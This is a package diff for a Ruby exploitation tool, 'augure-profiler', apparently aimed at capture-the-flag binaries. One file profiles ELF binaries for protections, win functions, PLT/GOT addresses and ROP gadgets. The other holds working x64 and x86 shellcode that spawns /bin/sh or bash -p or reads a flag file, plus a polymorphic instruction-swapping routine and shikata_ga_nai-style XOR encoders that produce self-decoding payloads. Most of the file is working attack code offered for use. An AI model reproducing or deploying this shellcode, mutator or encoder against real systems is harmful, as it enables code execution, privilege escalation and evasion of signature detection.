augure-profiler 0.0.1

data/home/runner/work/augure/augure/profiler/lib/augure-profiler/profiler.rb

@@ -0,0 +1,203 @@
+# frozen_string_literal: true
+
+require "metasm"
+require "augure"
+
+module AugureProfiler
+  # Binary profiler: ELF in, augure facts out. The profiler speaks the fact
+  # schema and nothing else - augure decides, it never sees a binary.
+  #
+  # checksec comes from metasm ELF structures (pure Ruby, no subprocess);
+  # gadget enumeration slides semantic byte patterns over executable
+  # sections, named exactly like the frozen corpus vocabulary.
+  class Profiler
+    # Semantic names for ret-terminated gadget byte patterns, documented
+    # and ordered longest-first so the longest match wins.
+    GADGET_PATTERNS = [
+      ["mov_deref_write", "48 89 38 c3"],   # mov [rax], rdi ; ret
+      ["mov_deref_write", "48 89 30 c3"],   # mov [rax], rsi ; ret
+      ["mov_deref_write", "48 89 10 c3"],   # mov [rax], rdx ; ret
+      ["mov_deref_write", "4d 89 3e c3"],   # mov [r14], r15 ; ret (ROP Emporium write4)
+      ["xchg_rsp_rax", "48 94 c3"],         # xchg rsp, rax ; ret
+      ["syscall_ret", "0f 05 c3"],          # syscall ; ret
+      ["int80_ret", "cd 80 c3"],            # int 0x80 ; ret
+      ["pop_rdi_ret", "5f c3"],             # pop rdi ; ret
+      ["pop_rsi_ret", "5e c3"],             # pop rsi ; ret
+      ["pop_rdx_ret", "5a c3"],             # pop rdx ; ret
+      ["pop_rax_ret", "58 c3"],             # pop rax ; ret
+      ["JMP_STACK", "ff e4"],               # jmp esp/rsp - renamed per arch
+      ["ret_align", "c3"]                   # ret
+    ].freeze
+
+    # printf is NOT on the list: a constant format is not a vuln, and
+    # the hint would derive vuln(fmtstr) for every binary that prints -
+    # sprintf stays (unbounded by design).
+    UNSAFE_SYMBOLS = %w[gets strcpy strcat sprintf scanf].freeze
+
+    ET_DYN = "DYN"
+
+    def initialize(path)
+      @path = path
+      @elf = Metasm::ELF.decode_file(path)
+    end
+
+    def facts
+      facts = Augure::Facts.new
+      emit_checksec(facts)
+      emit_symbols(facts)
+      emit_gadgets(facts)
+      facts
+    end
+
+    private
+
+    def emit_checksec(facts)
+      facts.add("nx", exec_stack? ? "false" : "true")
+      facts.add("pie", (@elf.header.type.to_s == ET_DYN) ? "true" : "false")
+      facts.add("relro", relro_state)
+    end
+
+    def exec_stack?
+      stack = @elf.segments.find { |s| s.type.to_s == "GNU_STACK" }
+      stack&.flags&.map(&:to_s)&.include?("X")
+    end
+
+    def relro_state
+      relro = @elf.segments.any? { |s| s.type.to_s == "GNU_RELRO" }
+      return "none" unless relro
+
+      tags = @elf.instance_variable_get(:@tag) || {}
+      flags = (tags["FLAGS"] || []) + (tags["FLAGS_1"] || [])
+      (flags.any? { |f| f.to_s =~ /BIND_NOW|NOW/ }) ? "full" : "partial"
+    end
+
+    def emit_symbols(facts)
+      names = @elf.symbols.map(&:name).compact.uniq
+      # plt facts describe REAL dynamic imports (shndx == UNDEF, FUNC
+      # type) - not any identifier-shaped symbol: a local function
+      # named `system` must not make the decision layer believe a PLT
+      # stub exists.
+      @elf.symbols.each do |sym|
+        facts.add("plt", sym.name) if plt_symbol?(sym)
+      end
+      emit_plt_addresses(facts)
+      names.each do |n|
+        facts.add("vuln_hint", "unsafe_func:#{n}") if UNSAFE_SYMBOLS.include?(n)
+      end
+      # CTF heuristic: a local win/flag function = a callable target
+      # (the ret2func family's target_function fact). The winning
+      # symbol keeps its name AND its address - the payload builder
+      # needs the address, not just the existence.
+      @elf.symbols.each do |sym|
+        next unless sym.name.to_s.match?(/\Awin\z|win\z|flag\z/)
+
+        facts.add("target_function", "true")
+        facts.add("win_symbol", sym.name, sym.value.to_i)
+      end
+      if names.include?("__stack_chk_fail")
+        facts.add("canary", "true")
+      else
+        facts.add("canary", "false")
+      end
+    end
+
+    # The addresses a ROP chain resolves against: the JMP_SLOT
+    # relocations carry the GOT entry (r_offset) and the PLT stub is
+    # computable from the section layout (.plt.sec: 16*i; .plt: 16*(i+1)).
+    def emit_plt_addresses(facts)
+      plt_sec = @elf.sections.find { |s| s.name.to_s == ".plt.sec" }
+      plt = @elf.sections.find { |s| s.name.to_s == ".plt" }
+      jmp_slots = @elf.relocations.select { |r| r.type.to_s.include?("JMP_SLOT") }
+      jmp_slots.each_with_index do |r, i|
+        name = r.symbol&.name
+        next unless name.is_a?(String) && !name.empty?
+
+        stub = if plt_sec
+          plt_sec.addr.to_i + 16 * i
+        else
+          plt && (plt.addr.to_i + 16 * (i + 1))
+        end
+        facts.add("got_addr", name, r.offset.to_i) if r.offset
+        facts.add("plt_addr", name, stub) if stub
+      end
+    end
+
+    def arch_index
+      (@elf.header.e_class.to_s == "64") ? 0 : 1
+    end
+
+    def plt_symbol?(sym)
+      sym.name.to_s =~ /\A[a-zA-Z_][a-zA-Z0-9_]*\z/ &&
+        sym.shndx.to_s == "UNDEF" && sym.type.to_s == "FUNC"
+    end
+
+    def emit_gadgets(facts)
+      executable_sections.each do |section|
+        bytes = section_bytes(section)
+        next if bytes.nil? || bytes.empty?
+
+        stack_jump = %w[jmp_rsp jmp_esp][arch_index]
+        scan_gadgets(bytes, section.addr.to_i).each do |(type, addr)|
+          name = type
+          name = stack_jump if type == "JMP_STACK"
+          facts.add("gadget", name, addr)
+        end
+      end
+      emit_csu_gadgets(facts)
+    end
+
+    def executable_sections
+      @elf.sections.select { |s| s.flags.map(&:to_s).include?("EXECINSTR") }
+    end
+
+    # metasm exposes section metadata but not raw bytes here; read straight
+    # from the file at the section offset.
+    def section_bytes(section)
+      File.open(@path) do |f|
+        f.seek(section.offset.to_i)
+        f.read(section.size.to_i)
+      end&.bytes
+    rescue
+      nil
+    end
+
+    # The patterns precompiled ONCE to byte arrays: scanning compares
+    # integers (String#index skip), not hex-string slices per position
+    # (the old hex.map + split-per-position was ~100x slower).
+    # The patterns precompiled ONCE to binary strings: the scan runs
+    # String#index (memmem in C) per pattern, not a hex-slice compare
+    # per byte position (the original was ~100x slower; an Array-slice
+    # version was 2x slower still).
+    GADGET_BIN = GADGET_PATTERNS.map do |(type, pattern)|
+      [type, pattern.split(" ").map { |h| h.to_i(16) }.pack("C*")]
+    end.freeze
+
+    def scan_gadgets(bytes, base_addr)
+      data = bytes.is_a?(String) ? bytes : bytes.pack("C*")
+      data = data.b
+      hits = []
+      GADGET_BIN.each_with_index do |(type, pat), order|
+        off = 0
+        while (off = data.index(pat, off))
+          hits << [order, type, base_addr + off]
+          off += pat.size
+        end
+      end
+      # position first, then the pattern-table order (the original
+      # first-match-wins semantics preserved byte for byte)
+      hits.sort_by! { |(order, _type, addr)| [addr, order] }
+      hits.map { |(_order, type, addr)| [type, addr] }
+    end
+
+    # Static binaries expose the __libc_csu_init universal gadgets under
+    # well-known symbols; their presence IS the gadget fact.
+    def emit_csu_gadgets(facts)
+      names = @elf.symbols.map(&:name).compact
+      return unless names.include?("__libc_csu_init")
+
+      sym = @elf.symbols.find { |s| s.name == "__libc_csu_init" }
+      facts.add("gadget", "csu_popper", sym.value.to_i)
+      facts.add("gadget", "csu_mov", sym.value.to_i + 0x40)
+    end
+  end
+end

data/home/runner/work/augure/augure/profiler/lib/augure-profiler/shellcode.rb

@@ -0,0 +1,329 @@
+# frozen_string_literal: true
+
+require "metasm"
+
+module AugureProfiler
+  # The target's word size, from the ELF class: which shellcode variant
+  # to assemble and how wide the return address is.
+  def self.arch(path)
+    elf = Metasm::ELF.decode_file(path)
+    (elf.header.e_class.to_s == "64") ? :x64 : :x86
+  end
+
+  # The payload source: assembly TEXT, versioned and auditable, assembled
+  # on demand. No hex blobs - the shellcode of the original tool (%shc in
+  # dbg.pm) becomes readable source assembled by metasm, which the
+  # profiler already depends on. The call-back layout keeps every stub
+  # position-independent without relocations.
+  #
+  # Each stub carries EQUIVALENT VARIANTS (the ghost-writing idea from
+  # the metasm talks): same semantics, different bytes. rng: a seeded
+  # Random - the variant picked is deterministic per seed, so the audit
+  # can reproduce the exact payload.
+  module Shellcode
+    SOURCES = {
+      sh: {
+        x64: [
+          <<~ASM,
+            call shellcode
+            path:
+              db "/bin/sh", 0
+            shellcode:
+              pop rdi
+              xor esi, esi
+              xor edx, edx
+              push 59
+              pop rax
+              syscall
+          ASM
+          <<~ASM
+            call shellcode
+            path:
+              db "/bin/sh", 0
+            shellcode:
+              pop rdi
+              push 0
+              pop rsi
+              push 59
+              pop rax
+              cdq
+              syscall
+          ASM
+        ],
+        x86: [
+          <<~ASM,
+            call shellcode
+            path:
+              db "/bin/sh", 0
+            shellcode:
+              pop ebx
+              xor ecx, ecx
+              push 11
+              pop eax
+              int 80h
+          ASM
+          <<~ASM
+            call shellcode
+            path:
+              db "/bin/sh", 0
+            shellcode:
+              pop ebx
+              push 11
+              pop eax
+              cdq
+              xor ecx, ecx
+              int 80h
+          ASM
+        ]
+      },
+      orw: {
+        x64: [
+          <<~ASM
+            call readflag
+            path:
+              db "PATH_SLOT", 0
+            readflag:
+              pop rdi
+              push 2
+              pop rax
+              xor esi, esi
+              xor edx, edx
+              syscall
+              mov rdi, rax
+              sub rsp, 128
+              mov rsi, rsp
+              push 64
+              pop rdx
+              push 0
+              pop rax
+              syscall
+              mov rdx, rax
+              mov rsi, rsp
+              push 1
+              pop rdi
+              push 1
+              pop rax
+              syscall
+              push 60
+              pop rax
+              xor edi, edi
+              syscall
+          ASM
+        ],
+        x86: [
+          <<~ASM
+            call readflag
+            path:
+              db "PATH_SLOT", 0
+            readflag:
+              pop ebx
+              xor ecx, ecx
+              xor edx, edx
+              mov eax, 5
+              int 80h
+              mov ebx, eax
+              sub esp, 128
+              mov ecx, esp
+              mov edx, 64
+              mov eax, 3
+              int 80h
+              mov edx, eax
+              mov ecx, esp
+              mov ebx, 1
+              mov eax, 4
+              int 80h
+          ASM
+        ]
+      },
+      bash: {
+        x64: [
+          <<~ASM
+            call shellcode
+            path:
+              db "/bin/bash", 0
+            arg:
+              db "-p", 0
+            shellcode:
+              pop rdi
+              lea rsi, [rdi+10]
+              push 0
+              mov rdx, rsp
+              push rsi
+              push rdi
+              mov rsi, rsp
+              pop rdi
+              mov eax, 59
+              syscall
+          ASM
+        ],
+        x86: [
+          <<~ASM
+            call shellcode
+            path:
+              db "/bin/bash", 0
+            arg:
+              db "-p", 0
+            shellcode:
+              pop ebx
+              lea ecx, [ebx+10]
+              push 0
+              mov edx, esp
+              push ecx
+              push ebx
+              mov ecx, esp
+              mov eax, 11
+              int 80h
+          ASM
+        ]
+      }
+    }.freeze
+
+    # The equivalence pools (the ghost-writing engine): each named slot
+    # has semantically equal replacements; the rng picks per slot and
+    # inserts camouflage between the independent blocks. Deterministic
+    # per seed - the audit reproduces the exact payload.
+    EQUIVALENCES = {
+      "zero_edx" => {"x64" => ["xor edx, edx", "push 0\npop rdx"],
+                     "x86" => ["xor edx, edx", "push 0\npop edx"]},
+      "zero_esi" => {"x64" => ["xor esi, esi", "push 0\npop rsi"]},
+      "zero_ecx" => {"x86" => ["xor ecx, ecx", "push 0\npop ecx"]},
+      "load_callnum" => {"x64" => ["push 59\npop rax", "mov eax, 59"],
+                         "x86" => ["push 11\npop eax", "mov eax, 11"]},
+      "junk" => {"x64" => ["xchg ax, ax", "nop", "xchg r8, r8"],
+                 "x86" => ["xchg ax, ax", "nop"]}
+    }.freeze
+
+    def self.polymorph(source, arch, rng)
+      return source unless rng
+
+      key = (arch == :x64) ? "x64" : "x86"
+      # the named slots, when the source uses the standard forms, get
+      # replaced by a pool alternative
+      out = source
+      if source.include?("xor edx, edx")
+        out = out.sub("xor edx, edx",
+          EQUIVALENCES["zero_edx"][key].sample(random: rng))
+      end
+      if source.include?("xor esi, esi") && key == "x64"
+        out = out.sub("xor esi, esi",
+          EQUIVALENCES["zero_esi"][key].sample(random: rng))
+      end
+      if source.include?("xor ecx, ecx") && key == "x86"
+        out = out.sub("xor ecx, ecx",
+          EQUIVALENCES["zero_ecx"][key].sample(random: rng))
+      end
+      if source.include?("push 59\npop rax")
+        out = out.sub("push 59\npop rax",
+          EQUIVALENCES["load_callnum"][key].sample(random: rng))
+      end
+      if source.include?("push 11\npop eax")
+        out = out.sub("push 11\npop eax",
+          EQUIVALENCES["load_callnum"][key].sample(random: rng))
+      end
+      # camouflage between the blocks: a junk instruction after the path
+      if out =~ /^(\s*path:\n.*?0\n)/m
+        junk = EQUIVALENCES["junk"][key].sample(random: rng)
+        out = out.sub(/^(\s*shellcode:\n)/) { "#{junk}\n" + Regexp.last_match(1) }
+      end
+      out
+    end
+
+    # klass: Metasm::X64 or Metasm::Ia32 (the target architecture).
+    # path: the parameter for the path-bearing stubs (sh/bash exec the
+    # path; orw reads it - the seccomp answer reads /flag, not a shell).
+    # Returns the assembled bytes.
+    def self.generate(klass, stub = :sh, path: nil, rng: nil)
+      arch = (klass == Metasm::X64) ? :x64 : :x86
+      variants = SOURCES.fetch(stub).fetch(arch)
+      source = rng ? variants.sample(random: rng) : variants.first
+      source = source.gsub("PATH_SLOT", path.to_s) if path
+      raise ArgumentError, "this stub needs a path" if source.include?("PATH_SLOT")
+
+      source = polymorph(source, arch, rng)
+      Metasm::Shellcode.assemble(klass.new, source).encode_string
+    end
+  end
+
+  # The encoders: the payload must survive the channel it travels
+  # through. Two answers:
+  #   - encode: a xor-key wrapper for a badchar list - the minimal
+  #     decoder stub assembled on the fly;
+  #   - encode_polymorphic: the shikata_ga_nai inheritance - a feedback
+  #     decoder (each decoded byte seeds the next), the key per seed,
+  #     camouflage between the decodes. metasploit encodes to beat the
+  #     antivirus; we encode to cross the channel, and the output stays
+  #     RE-PLAYABLE: the seed plus the source reproduce the exact bytes.
+  module Encoder
+    module_function
+
+    def encode(bytes, badchars:, rng: nil, arch: :x64)
+      # the constant-key flavour of the keyed decoder: key1 = key2 = k,
+      # the same zero-free layout, the retry over the whole output
+      raw = bytes.respond_to?(:bytes) ? bytes.bytes : bytes
+      raise ArgumentError, "the payload exceeds 120 bytes - a 0x00-free channel needs a wider decoder" if raw.size > 120
+
+      255.times do |k|
+        next if badchars.include?(k)
+
+        enc = raw.map { |b| b ^ k }
+        enc += [0x90] while enc.size < 120
+        full = wrap_keyed_decoder(enc, k, k, arch)
+        return {bytes: full, key: k} if (full.unpack("C*") & badchars).empty?
+      end
+      raise ArgumentError, "no xor key avoids the badchars"
+    end
+
+    def encode_polymorphic(bytes, badchars:, rng:, arch: :x64)
+      raise ArgumentError, "the polymorphic encoder needs a seed" unless rng
+
+      raw = bytes.respond_to?(:bytes) ? bytes.bytes : bytes
+      raise ArgumentError, "the payload exceeds 120 bytes - a 0x00-free channel needs a wider decoder" if raw.size > 120
+
+      512.times do
+        key1 = rng.rand(1..0xff)
+        key2 = rng.rand(1..0xff)
+        enc = raw.each_with_index.map { |b, i| b ^ (i.even? ? key1 : key2) }
+        enc += [0x90] while enc.size < 120
+        full = wrap_keyed_decoder(enc, key1, key2, arch)
+        return {bytes: full, keys: [key1, key2]} if (full.unpack("C*") & badchars).empty?
+      end
+      raise ArgumentError, "no key pair avoids the badchars"
+    end
+
+    def wrap_keyed_decoder(enc, key1, key2, arch)
+      klass = (arch == :x64) ? Metasm::X64 : Metasm::Ia32
+      data = enc.pack("C*")
+      size = enc.size
+      dest = (arch == :x64) ? "rdi" : "ebx"
+      k1 = (arch == :x64) ? "rax" : "eax"
+      k2 = (arch == :x64) ? "rbx" : "ebx"
+      cnt = (arch == :x64) ? "rcx" : "ecx"
+      # The zero-free get-pc, the shikata layout: the decoder first, the
+      # backward call (a negative rel32 carries ff bytes, never 00), the
+      # payload right after the call, the loop falls through into it.
+      asm = <<~ASM
+        jmp gz1
+        gz0:
+          pop #{dest}
+          push #{size}
+          pop #{cnt}
+          push #{key1}
+          pop #{k1}
+          push #{key2}
+          pop #{k2}
+        loop:
+          xor byte ptr [#{dest}], al
+          xchg al, bl
+          inc #{dest}
+          dec #{cnt}
+          jnz loop
+          jmp pay0
+        gz1:
+          call gz0
+        pay0:
+          db #{data.bytes.map { |b| "0x#{b.to_s(16)}" }.join(", ")}
+      ASM
+      Metasm::Shellcode.assemble(klass.new, asm).encode_string
+    end
+  end
+end